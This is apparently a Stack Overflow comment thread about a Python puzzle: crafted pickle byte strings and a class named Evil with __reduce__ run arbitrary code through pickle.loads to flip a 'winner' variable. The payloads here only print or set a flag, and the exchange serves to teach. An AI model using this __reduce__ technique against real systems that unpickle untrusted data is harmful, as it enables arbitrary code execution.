SO Aran fey pickle

gistfile1.txt

import pickle

winner = False

#data = b'c__builtin__\neval\n(Vprint("Bang! From, Evan.")\ntR.'
data = b'c__builtin__\neval\n(Vexec("winner=True")\ntR.'

pickle.loads(data)

# validate the solution
assert winner, "You didn't toggle the variable"
print('You win!')

the pickle is using eval, but the actual command is an exec. i couldn't come up with anything other than this, writing the command out directly was giving invalid syntax. Are you saying i could still do this kind of setup without exec?

Nvm, i got it!

data = b'c__builtin__\nexec\n(Vwinner=True\ntR.'

Unfortunately I can't read pickle dumps, so I'm not really sure how exactly that is working. How did you generate that?

I generated my solution with this:

class Evil:
   def __reduce__(self):
       return (exec, ("__import__('__main__').winner = True",))
data = pickle.dumps(Evil())

And with eval that'd be return (eval, ("vars(__import__('__main__')).__setitem__('winner', True)",)).

It was that simple? breaks down and starts crying I went through a deep dive of how pickle generates its strings, ending up with an article that implemented a pickle bomb. https://intoli.com/blog/dangerous-pickles/ They talk about a package called pickletools.

Yeah, pickle supports multiple interfaces that let you customize how your data is pickled. The easiest one to abuse is __reduce__, which literally lets you call an arbitrary (pickleable) function with arbitrary (pickleable) arguments.